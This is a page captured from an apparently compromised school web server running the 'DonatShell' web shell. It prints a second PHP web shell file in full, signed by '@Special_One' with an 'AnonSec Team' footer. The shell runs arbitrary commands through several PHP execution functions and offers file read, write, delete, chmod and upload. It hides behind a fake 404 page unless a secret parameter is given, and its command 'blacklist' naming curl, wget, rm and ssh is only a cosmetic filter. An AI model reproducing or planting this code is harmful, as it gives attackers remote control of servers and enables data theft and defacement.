%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : kowitt.ac.th  /  Your IP : 216.73.216.11
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/activity/20190114-140747/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/activity/20190114-140747/test/wu7xk1.php7
<?php
// *****************************************
// Web Terminal - A simple web-based terminal interface
// https://t.me/special_one
// *****************************************

error_reporting(0);
set_time_limit(30);

function isSafeCommand($cmd)
{
    $blacklist = [
        'rm ',
        'mv ',
        'dd ',
        'shutdown',
        'reboot',
        'halt',
        '>',
        '|',
        '&',
        ';',
        '`',
        '$',
        '(',
        ')',
        '{',
        '}',
        'chmod',
        'chown',
        'wget',
        'curl',
        'ftp',
        'ssh'
    ];

    foreach ($blacklist as $forbidden) {
        if (strpos($cmd, $forbidden) !== false) return false;
    }
    return true;
}

function executeCommand($command)
{
    if (!isSafeCommand($command)) return "Command blocked by security policy";

    $methods = [
        'shell_exec' => function ($c) {
            return shell_exec($c . ' 2>&1');
        },
        'exec' => function ($c) {
            exec($c . ' 2>&1', $o);
            return implode("\n", $o);
        },
        'system' => function ($c) {
            ob_start();
            system($c . ' 2>&1');
            return ob_get_clean();
        },
        'passthru' => function ($c) {
            ob_start();
            passthru($c . ' 2>&1');
            return ob_get_clean();
        },
        'proc_open' => function ($c) {
            $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
            $process = @proc_open($c, $descriptors, $pipes);
            if (!is_resource($process)) return false;
            $output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);
            proc_close($process);
            return $output . $errors;
        },
        'popen' => function ($c) {
            $handle = @popen($c . ' 2>&1', 'r');
            if (!$handle) return false;
            $output = '';
            while (!feof($handle)) $output .= fread($handle, 4096);
            pclose($handle);
            return $output;
        }
    ];

    foreach ($methods as $method => $callback) {
        if (function_exists($method)) {
            $result = $callback($command);
            if ($result !== false && $result !== null) return $result;
        }
    }

    $fileBasedCommands = [
        'ls' => function () {
            return implode("\n", scandir('.'));
        },
        'pwd' => function () {
            return getcwd();
        },
        'whoami' => function () {
            return get_current_user();
        },
        'uname' => function () {
            return php_uname();
        },
        'php -v' => function () {
            return phpversion();
        },
        'date' => function () {
            return date('Y-m-d H:i:s');
        }
    ];

    if (isset($fileBasedCommands[$command])) return $fileBasedCommands[$command]();

    if ($command === 'free -m' && file_exists('/proc/meminfo')) {
        return file_get_contents('/proc/meminfo');
    }

    if (function_exists('shell_exec') && !ini_get('safe_mode')) {
        $result = `$command 2>&1`;
        if (!empty($result)) return $result;
    }

    return "Command execution failed (all methods disabled)";
}

function handleFileOperations()
{
    $output = '';
    
    if (isset($_POST['file_action'])) {
        $action = $_POST['file_action'];
        $file = $_POST['file_path'] ?? '';
        $new_file = $_POST['new_file_path'] ?? '';
        
        if (empty($file)) {
            return "Error: No file specified";
        }
        
        switch ($action) {
            case 'read':
                if (file_exists($file)) {
                    $output = htmlspecialchars(file_get_contents($file));
                } else {
                    $output = "Error: File does not exist";
                }
                break;
                
            case 'write':
                $content = $_POST['file_content'] ?? '';
                if (file_put_contents($file, $content) !== false) {
                    $output = "File written successfully";
                } else {
                    $output = "Error: Could not write to file";
                }
                break;
                
            case 'delete':
                if (unlink($file)) {
                    $output = "File deleted successfully";
                } else {
                    $output = "Error: Could not delete file";
                }
                break;
                
            case 'rename':
                if (rename($file, $new_file)) {
                    $output = "File renamed successfully";
                } else {
                    $output = "Error: Could not rename file";
                }
                break;
                
            case 'copy':
                if (copy($file, $new_file)) {
                    $output = "File copied successfully";
                } else {
                    $output = "Error: Could not copy file";
                }
                break;
                
            case 'move':
                if (rename($file, $new_file)) {
                    $output = "File moved successfully";
                } else {
                    $output = "Error: Could not move file";
                }
                break;
                
            case 'chmod':
                $mode = $_POST['file_mode'] ?? '';
                if (is_numeric($mode) && chmod($file, octdec($mode))) {
                    $output = "File permissions changed successfully";
                } else {
                    $output = "Error: Could not change file permissions";
                }
                break;
                
            case 'mkdir':
                if (mkdir($file)) {
                    $output = "Directory created successfully";
                } else {
                    $output = "Error: Could not create directory";
                }
                break;
                
            case 'rmdir':
                if (rmdir($file)) {
                    $output = "Directory removed successfully";
                } else {
                    $output = "Error: Could not remove directory";
                }
                break;
                
            default:
                $output = "Error: Unknown file operation";
        }
    }
    
    return $output;
}

function handleUpload()
{
    if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] === UPLOAD_ERR_OK) {
        $target_dir = './';
        $target_file = $target_dir . basename($_FILES['uploaded_file']['name']);
        
        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target_file)) {
            return "File uploaded successfully: " . htmlspecialchars(basename($_FILES['uploaded_file']['name']));
        } else {
            return "Error uploading file";
        }
    }
    return '';
}

$output = '';
if (isset($_POST['cmd'])) {
    $output = executeCommand($_POST['cmd']);
    $output = htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
}

$fileOutput = handleFileOperations();
$uploadOutput = handleUpload();
if (isset($_GET['go'])) {
?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Web Terminal</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #1e1e1e;
            color: #e0e0e0;
        }
        
        .terminal-container {
            background-color: #000;
            border-radius: 5px;
            padding: 15px;
            height: 70vh;
            overflow-y: auto;
            font-family: monospace;
        }
        
        .prompt {
            color: #4CAF50;
        }
        
        .command-input {
            background-color: transparent;
            border: none;
            color: #fff;
            width: 80%;
            outline: none;
        }
        
        .output {
            white-space: pre-wrap;
            margin: 5px 0;
        }
        
        .tab-content {
            padding: 15px;
            background-color: #2d2d2d;
            border-radius: 0 0 5px 5px;
        }
        
        .nav-tabs {
            border-bottom: 1px solid #4CAF50;
        }
        
        .nav-tabs .nav-link {
            color: #e0e0e0;
        }
        
        .nav-tabs .nav-link.active {
            background-color: #4CAF50;
            color: #fff;
            border-color: #4CAF50;
        }
        
        .form-control, .input-group-text {
            background-color: #333;
            color: #fff;
            border-color: #444;
        }
        
        textarea {
            background-color: #333;
            color: #fff;
            border-color: #444;
            min-height: 150px;
        }
    </style>
</head>

<body>
    <div class="container mt-3">
        <div class="text-center">
            <h3 class="text-center">Web Terminal</h3>
            <p> 
                Programing by Alireza | @Special_One
            </p>
        </div>
        
        <ul class="nav nav-tabs" id="myTab" role="tablist">
            <li class="nav-item" role="presentation">
                <button class="nav-link active" id="terminal-tab" data-bs-toggle="tab" data-bs-target="#terminal-tab-pane" type="button" role="tab">Terminal</button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="files-tab" data-bs-toggle="tab" data-bs-target="#files-tab-pane" type="button" role="tab">File Manager</button>
            </li>
            <li class="nav-item" role="presentation">
                <button class="nav-link" id="upload-tab" data-bs-toggle="tab" data-bs-target="#upload-tab-pane" type="button" role="tab">Upload</button>
            </li>
        </ul>
        
        <div class="tab-content" id="myTabContent">
            <div class="tab-pane fade show active" id="terminal-tab-pane" role="tabpanel" tabindex="0">
                <div class="terminal-container" id="terminal">
                    <div class="output">Web Terminal - Enter commands below</div>
                    <?php if (!empty($output)): ?>
                        <div class="output"><span class="prompt">$</span> <?= htmlspecialchars($_POST['cmd'], ENT_QUOTES) ?></div>
                        <div class="output"><?= $output ?></div>
                    <?php endif; ?>
                </div>

                <form method="post" class="mt-2">
                    <div class="input-group">
                        <span class="input-group-text prompt">$</span>
                        <input type="text" class="form-control command-input" name="cmd" autocomplete="off" autofocus required>
                        <button type="submit" class="btn btn-success">Run</button>
                    </div>
                </form>
            </div>
            
            <div class="tab-pane fade" id="files-tab-pane" role="tabpanel" tabindex="0">
                <?php if (!empty($fileOutput)): ?>
                    <div class="alert alert-info"><?= $fileOutput ?></div>
                <?php endif; ?>
                
                <div class="row">
                    <div class="col-md-6">
                        <h5>File Operations</h5>
                        <form method="post">
                            <div class="mb-3">
                                <label class="form-label">Action</label>
                                <select name="file_action" class="form-select">
                                    <option value="read">Read File</option>
                                    <option value="write">Write File</option>
                                    <option value="delete">Delete File</option>
                                    <option value="rename">Rename File</option>
                                    <option value="copy">Copy File</option>
                                    <option value="move">Move File</option>
                                    <option value="chmod">Change Permissions</option>
                                    <option value="mkdir">Create Directory</option>
                                    <option value="rmdir">Remove Directory</option>
                                </select>
                            </div>
                            
                            <div class="mb-3">
                                <label class="form-label">File Path</label>
                                <input type="text" name="file_path" class="form-control" required>
                            </div>
                            
                            <div class="mb-3" id="new-file-group" style="display: none;">
                                <label class="form-label">New File Path</label>
                                <input type="text" name="new_file_path" class="form-control">
                            </div>
                            
                            <div class="mb-3" id="file-content-group" style="display: none;">
                                <label class="form-label">File Content</label>
                                <textarea name="file_content" class="form-control"></textarea>
                            </div>
                            
                            <div class="mb-3" id="file-mode-group" style="display: none;">
                                <label class="form-label">Permissions (e.g., 755)</label>
                                <input type="text" name="file_mode" class="form-control">
                            </div>
                            
                            <button type="submit" class="btn btn-primary">Execute</button>
                        </form>
                    </div>
                    
                    <div class="col-md-6">
                        <h5>Current Directory Contents</h5>
                        <div class="terminal-container">
                            <?php
                            $files = scandir('.');
                            echo "<pre>";
                            foreach ($files as $file) {
                                $perms = fileperms($file);
                                $type = is_dir($file) ? 'd' : '-';
                                $info = sprintf("%s%s %s %s %8s %s %s\n",
                                    $type,
                                    $perms & 0x0100 ? 'r' : '-',
                                    $perms & 0x0080 ? 'w' : '-',
                                    $perms & 0x0040 ? 'x' : '-',
                                    filesize($file),
                                    date("Y-m-d H:i:s", filemtime($file)),
                                    $file
                                );
                                echo htmlspecialchars($info);
                            }
                            echo "</pre>";
                            ?>
                        </div>
                    </div>
                </div>
            </div>
            
            <div class="tab-pane fade" id="upload-tab-pane" role="tabpanel" tabindex="0">
                <?php if (!empty($uploadOutput)): ?>
                    <div class="alert alert-info"><?= $uploadOutput ?></div>
                <?php endif; ?>
                
                <h5>File Upload</h5>
                <form method="post" enctype="multipart/form-data">
                    <div class="mb-3">
                        <label class="form-label">Select file to upload:</label>
                        <input type="file" name="uploaded_file" class="form-control">
                    </div>
                    <button type="submit" class="btn btn-primary">Upload File</button>
                </form>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        const terminal = document.getElementById('terminal');
        if (terminal) terminal.scrollTop = terminal.scrollHeight;

        const cmdInput = document.querySelector('[name="cmd"]');
        let history = [];
        let historyPos = 0;

        cmdInput.addEventListener('keydown', (e) => {
            if (e.key === 'ArrowUp') {
                if (historyPos < history.length) {
                    e.preventDefault();
                    cmdInput.value = history[historyPos++];
                }
            } else if (e.key === 'ArrowDown') {
                if (historyPos > 0) {
                    e.preventDefault();
                    cmdInput.value = history[--historyPos];
                }
            } else if (e.key === 'Enter') {
                history.unshift(cmdInput.value);
                historyPos = 0;
            }
        });
        
        // Show/hide form fields based on selected action
        document.querySelector('[name="file_action"]').addEventListener('change', function() {
            const action = this.value;
            document.getElementById('new-file-group').style.display = 
                (action === 'rename' || action === 'copy' || action === 'move') ? 'block' : 'none';
            document.getElementById('file-content-group').style.display = 
                (action === 'write') ? 'block' : 'none';
            document.getElementById('file-mode-group').style.display = 
                (action === 'chmod') ? 'block' : 'none';
        });
    </script>
</body>

</html>
<?php
} else {
    echo '
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>';
} ?>

Anon7 - 2022
AnonSec Team